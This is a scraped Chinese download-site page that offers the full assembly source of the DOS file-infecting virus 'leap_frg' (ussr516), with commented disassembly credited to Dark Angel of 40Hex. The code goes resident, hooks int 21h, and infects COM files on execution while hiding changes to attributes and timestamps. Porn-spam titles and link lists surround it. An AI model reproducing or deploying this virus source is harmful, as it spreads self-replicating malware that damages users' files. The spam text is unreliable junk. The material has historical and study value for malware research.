亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? leap_frg.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
字號:

ussr516         segment byte public
                assume  cs:ussr516, ds:ussr516
                org     100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub:           db      0e9h, 0, 0
                db      0e9h, 1, 0, 0
; This is where the virus really begins
start:
                push    ax
                call    beginvir

orig4           db      0cdh, 20h, 0, 0
int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
                                                       ; entry point
int21store      db      0, 0, 0, 0

beginvir:       pop     bp                             ; BP -> orig4
                mov     si,bp
                mov     di,103h
                add     di,[di-2]                      ; DI -> orig4
                movsw                                  ; restore original
                movsw                                  ; 4 bytes of program
                xor     si,si
                mov     ds,si
                les     di,dword ptr ds:[21h*4]
                mov     [bp+8],di                      ; int21store
                mov     [bp+0Ah],es
                lds     di,dword ptr ds:[30h*4+1]      ; Bug????
findmarker:
                inc     di
                cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
                jne     findmarker                     ; to the entry point
                mov     [bp+4],di                      ; and move to
                mov     [bp+6],ds                      ; int30store
                mov     ax,5252h                       ; Get list of lists
                int     21h                            ; and also ID check

                add     bx,12h                         ; Already installed?
                jz      quitvir                        ; then exit
                push    bx
                mov     ah,30h                         ; Get DOS version
                int     21h

                pop     bx                             ; bx = 12, ptr to 1st
                                                       ; disk buffer
                cmp     al,3
                je      handlebuffer                   ; if DOS 3
                ja      handleDBHCH                    ; if > DOS 3
                inc     bx                             ; DOS 2.X, offset is 13
handlebuffer:
                push    ds
                push    bx
                lds     bx,dword ptr [bx]              ; Get seg:off of buffer
                inc     si
                pop     di
                pop     es                             ; ES:DI->seg:off buff
                mov     ax,[bx]                        ; ptr to next buffer
                cmp     ax,0FFFFh                      ; least recently used?
                jne     handlebuffer                   ; if not, go find it
                cmp     si,3
                jbe     quitvir
                stosw
                stosw
                jmp     short movetobuffer
handleDBHCH:   ; Disk Buffer Hash Chain Head array
                lds     si,dword ptr [bx]              ; ptr to disk buffer
                lodsw                                  ; info
                lodsw                                  ; seg of disk buffer
                                                       ; hash chain head array
                inc     ax                             ; second entry
                mov     ds,ax
                xor     bx,bx
                mov     si,bx
                lodsw                                  ; EMS page, -1 if not
                                                       ; in EMS
                xchg    ax,di                          ; save in di
                lodsw                                  ; ptr to least recently
                                                       ; used buffer
                mov     [di+2],ax                      ; change disk buffer
                                                       ; backward offset to
                                                       ; least recently used
                xchg    ax,di                          ; restore EMS page
                mov     [di],ax                        ; set to least recently
movetobuffer:                                          ; used
                mov     di,bx
                push    ds
                pop     es                             ; ES:DI -> disk buffer
                push    cs
                pop     ds
                mov     cx,108h
                lea     si,[bp-4]                      ; Copy from start
                rep     movsw
                mov     ds,cx                          ; DS -> interrupt table
                mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
                mov     word ptr ds:[4*21h+2],es       ; at int21
quitvir:
                push    cs                             ; CS = DS = ES
                pop     es
                push    es
                pop     ds
                pop     ax
                mov     bx,ax
                mov     si, 100h                       ; set up stack for
                push    si                             ; the return to the
                retn                                   ; original program
int24:
                mov     al,3                           ; Ignore all errors
                iret
tickstore       db      3                              ; Why???
buffer          db      3, 0, 9, 0

int21:
                pushf
                cli                                    ; CP/M style call entry
                call    dword ptr cs:[int30store-start]
                retn                                   ; point of int 21h

int21DSDX:                                             ; For int 21h calls
                push    ds                             ; with
                lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
                call    int21
                pop     ds
                retn

                cmp     ax,4B00h                       ; Execute
                je      Execute
                cmp     ax,5252h                       ; ID check
                je      CheckID
                cmp     ah,30h                         ; DOS Version
                je      DosVersion
callorig21:                                            ; Do other calls
                jmp     dword ptr cs:[int21store-start]
DosVersion:    ; Why?????                             ; DOS Version
                dec     byte ptr cs:[tickstore-start]
                jnz     callorig21                     ; Continue if not 0
                push    es
                xor     ax,ax
                push    ax
                mov     es,ax
                mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
                                                       ; since midnight
                and     al,7                           ; MOD 15
                inc     ax
                inc     ax
                mov     cs:[tickstore-start],al        ; # 2-17
                pop     ax
                pop     es
                iret
CheckID:                                               ; ID Check
                mov     bx,0FFEEh                      ; FFEEh = -12h
                iret
Execute:                                               ; Execute
                push    ax                             ; Save registers
                push    cx
                push    es
                push    bx
                push    ds                             ; DS:DX -> filename
                push    dx                             ; save it on stack
                push    bp
                mov     bp,sp                          ; Set up stack frame
                sub     sp,0Ah                         ; Temporary variables
                                                       ; [bp-A] = attributes
                                                       ; [bp-8] = int 24 off
                                                       ; [bp-6] = int 24 seg
                                                       ; [bp-4] = file time
                                                       ; [bp-2] = file date
                sti
                push    cs
                pop     ds
                mov     ax,3301h                       ; Turn off ^C check
                xor     dl,dl                          ; (never turn it back
                call    int21                          ;  on.  Bug???)
                mov     ax,3524h                       ; Get int 24h
                call    int21                          ; (Critical error)
                mov     [bp-8],bx
                mov     [bp-6],es
                mov     dx,int24-start
                mov     ax,2524h                       ; Set to new one
                call    int21
                mov     ax,4300h                       ; Get attributes
                call    int21DSDX
                jnc     continue
doneinfect:
                mov     ax,2524h                       ; Restore crit error
                lds     dx,dword ptr [bp-8]            ; handler
                call    int21
                cli
                mov     sp,bp
                pop     bp
                pop     dx
                pop     ds
                pop     bx
                pop     es
                pop     cx
                pop     ax
                jmp     short callorig21               ; Call orig handler
continue:
                mov     [bp-0Ah],cx                    ; Save attributes
                test    cl,1                           ; Check if r/o????
                jz      noclearattr
                xor     cx,cx
                mov     ax,4301h                       ; Clear attributes
                call    int21DSDX                      ; Filename in DS:DX
                jc      doneinfect                     ; Quit on error
noclearattr:
                mov     ax,3D02h                       ; Open read/write
                call    int21DSDX                      ; Filename in DS:DX
                jc      doneinfect                     ; Exit if error
                mov     bx,ax
                mov     ax,5700h                       ; Save time/date
                call    int21
                mov     [bp-4],cx
                mov     [bp-2],dx
                mov     dx,buffer-start
                mov     cx,4
                mov     ah,3Fh                         ; Read 4 bytes to
                call    int21                          ; buffer
                jc      quitinf
                cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
                jne     quitinf                        ; Otherwise, quit
                mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
                dec     dx
                xor     cx,cx
                mov     ax,4201h                       ; go there
                call    int21
                mov     ds:[buffer-start],ax           ; new location offset
                mov     dx,orig4-start
                mov     cx,4
                mov     ah,3Fh                         ; Read 4 bytes there
                call    int21
                mov     dx,ds:[orig4-start]
                cmp     dl,0E9h                        ; 0E9h means we might
                jne     infect                         ; already be there
                mov     ax,ds:[orig4+2-start]          ; continue checking
                add     al,dh                          ; to see if we really
                sub     al,ah                          ; are there.
                jz      quitinf
infect:
                xor     cx,cx
                mov     dx,cx
                mov     ax,4202h                       ; Go to EOF
                call    int21
                mov     ds:[buffer+2-start],ax         ; save filesize
                mov     cx,204h
                mov     ah,40h                         ; Write virus
                call    int21
                jc      quitinf                        ; Exit if error
                sub     cx,ax
                jnz     quitinf
                mov     dx,ds:[buffer-start]
                mov     ax,ds:[buffer+2-start]
                sub     ax,dx
                sub     ax,3                           ; AX->jmp offset
                mov     word ptr ds:[buffer+1-start],ax; Set up buffer
                mov     byte ptr ds:[buffer-start],0E9h; code the jmp
                add     al,ah
                mov     byte ptr ds:[buffer+3-start],al
                mov     ax,4200h                       ; Rewind to jmploc
                call    int21
                mov     dx, buffer-start
                mov     cx,4                           ; Write in the jmp
                mov     ah,40h
                call    int21
quitinf:
                mov     cx,[bp-4]
                mov     dx,[bp-2]
                mov     ax,5701h                       ; Restore date/time
                call    int21
                mov     ah,3Eh                         ; Close file
                call    int21
                mov     cx,[bp-0Ah]                    ; Restore attributes
                mov     ax,4301h
                call    int21DSDX
                jmp     doneinfect                     ; Return
ussr516         ends
                end     stub

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区中文字幕| 在线观看一区不卡| 国产成人精品三级| 色吧成人激情小说| 久久久亚洲综合| 亚洲国产精品久久人人爱蜜臀| 在线观看91精品国产入口| 日韩视频免费观看高清完整版在线观看 | 日韩一区二区三区精品视频| 国产精品乱码人人做人人爱| 男女性色大片免费观看一区二区| 成人h动漫精品一区二区| 日韩亚洲欧美综合| 亚洲综合色视频| 国产精品久久午夜夜伦鲁鲁| 91 com成人网| 日韩视频免费观看高清在线视频| 欧美成人精品二区三区99精品| 欧美一级片在线观看| 欧美电影免费提供在线观看| 久久一区二区视频| 久久精品视频免费观看| 国产精品视频免费看| 亚洲人xxxx| 偷窥国产亚洲免费视频| 青椒成人免费视频| 国产成人欧美日韩在线电影| 99国产欧美另类久久久精品 | 国产欧美日韩在线| 成人欧美一区二区三区1314| 亚洲综合无码一区二区| 午夜免费久久看| 国产在线精品免费| 99国产精品久久久久| 欧美日免费三级在线| 欧美α欧美αv大片| 国产精品全国免费观看高清 | 午夜精品福利一区二区三区蜜桃| 日本欧美一区二区三区乱码| 国内精品视频一区二区三区八戒| 97久久超碰国产精品电影| 欧美日韩国产首页在线观看| 99久久国产综合精品女不卡| 2021中文字幕一区亚洲| 久久精品国产第一区二区三区| 91精品久久久久久久久99蜜臂| 日韩精品亚洲一区二区三区免费| 欧美精品乱码久久久久久按摩| 色94色欧美sute亚洲线路二 | 中文字幕久久午夜不卡| 丁香一区二区三区| 中文字幕一区二区三区四区不卡| aaa亚洲精品一二三区| 亚洲人成精品久久久久久| 日本高清不卡视频| 日韩国产精品久久久久久亚洲| 日韩欧美一区在线观看| 国产尤物一区二区| 欧美韩国日本不卡| 色88888久久久久久影院野外| 亚洲一卡二卡三卡四卡| 91精品国产综合久久精品| 精品一区二区成人精品| 中文av字幕一区| 91福利资源站| 麻豆久久久久久久| 中文字幕在线不卡| 欧美肥妇free| 东方欧美亚洲色图在线| 亚洲综合999| 欧美精品一区男女天堂| 波多野结衣欧美| 五月婷婷激情综合| 亚洲国产高清不卡| 欧美日韩久久久久久| 国产毛片精品视频| 91免费在线看| 日韩电影在线观看电影| 国产欧美日本一区视频| 欧美日韩一区二区三区四区五区 | 91精品久久久久久久99蜜桃| 国产成人综合亚洲网站| 亚洲成人你懂的| 国产精品无圣光一区二区| 欧美色爱综合网| 成人午夜大片免费观看| 婷婷开心久久网| 中文字幕在线观看一区二区| 3atv一区二区三区| 99精品国产一区二区三区不卡| 国产精品成人一区二区艾草| 国产成人av在线影院| 国产欧美精品一区| 成人av在线影院| 亚洲精品中文在线观看| 欧美系列在线观看| 日韩国产欧美在线播放| 精品国产精品网麻豆系列| 国产精品88av| 国产精品成人午夜| 91久久精品一区二区二区| 亚洲国产精品一区二区尤物区| 欧美日韩高清一区二区| 韩国v欧美v日本v亚洲v| 中文字幕免费一区| 欧美在线观看视频一区二区三区 | 欧美性受极品xxxx喷水| 成人一级视频在线观看| 国产一区二区三区免费| 免费视频最近日韩| 五月婷婷另类国产| 亚洲午夜久久久久| www.久久久久久久久| 激情成人午夜视频| 久久国产人妖系列| 免费人成在线不卡| 麻豆精品久久精品色综合| 日日摸夜夜添夜夜添国产精品| 亚洲午夜免费视频| 亚洲午夜视频在线观看| 曰韩精品一区二区| 一级日本不卡的影视| 亚洲黄色录像片| 一区二区三区在线播放| 亚洲激情av在线| 亚洲一区在线观看网站| 亚洲一级不卡视频| 天堂影院一区二区| 欧美日韩一区二区在线观看视频| 美女视频黄久久| 亚洲人成精品久久久久| 精品少妇一区二区三区视频免付费 | 综合久久久久久久| 日韩欧美精品在线| 91精品福利视频| 成人黄色小视频在线观看| 日韩主播视频在线| 玉足女爽爽91| 国产精品不卡在线观看| 精品免费日韩av| 欧美日韩在线亚洲一区蜜芽| 成人福利视频在线看| 美女一区二区久久| 亚洲国产成人91porn| 国产精品电影院| 日本一区二区三区免费乱视频| 7777女厕盗摄久久久| 日本久久一区二区| 93久久精品日日躁夜夜躁欧美| 国内精品久久久久影院薰衣草| 首页国产丝袜综合| 亚洲香肠在线观看| 亚洲欧洲成人精品av97| 国产日韩av一区二区| 久久免费视频色| 欧美v国产在线一区二区三区| 欧美日韩精品一区二区三区蜜桃| 91免费看片在线观看| 99这里只有久久精品视频| gogogo免费视频观看亚洲一| 成人一道本在线| 成人午夜av在线| 99久久精品免费看| 91女厕偷拍女厕偷拍高清| 91色|porny| 在线观看网站黄不卡| 欧洲色大大久久| 欧美视频你懂的| 91.com视频| 91香蕉国产在线观看软件| 色综合色综合色综合色综合色综合 | 国产喷白浆一区二区三区| 亚洲综合一区二区精品导航| 国产一区二区三区免费播放| 欧美综合色免费| 中文字幕精品一区二区精品绿巨人| 亚洲成在人线免费| eeuss影院一区二区三区 | 亚洲图片自拍偷拍| 国产一区二区毛片| 欧美男男青年gay1069videost| 国产又粗又猛又爽又黄91精品| 色久综合一二码| 日本一区二区成人| 久久精品99国产精品| 欧美专区日韩专区| 中文字幕一区二区三区四区 | 欧美日韩激情在线| 亚洲免费三区一区二区| 国产91综合一区在线观看| 欧美一区二区精品久久911| 樱桃视频在线观看一区| 高清成人免费视频| 精品国产伦一区二区三区免费| 偷拍一区二区三区| 欧美日韩aaa| 午夜成人在线视频| 欧美日本国产一区| 亚洲国产中文字幕| 欧美色视频在线|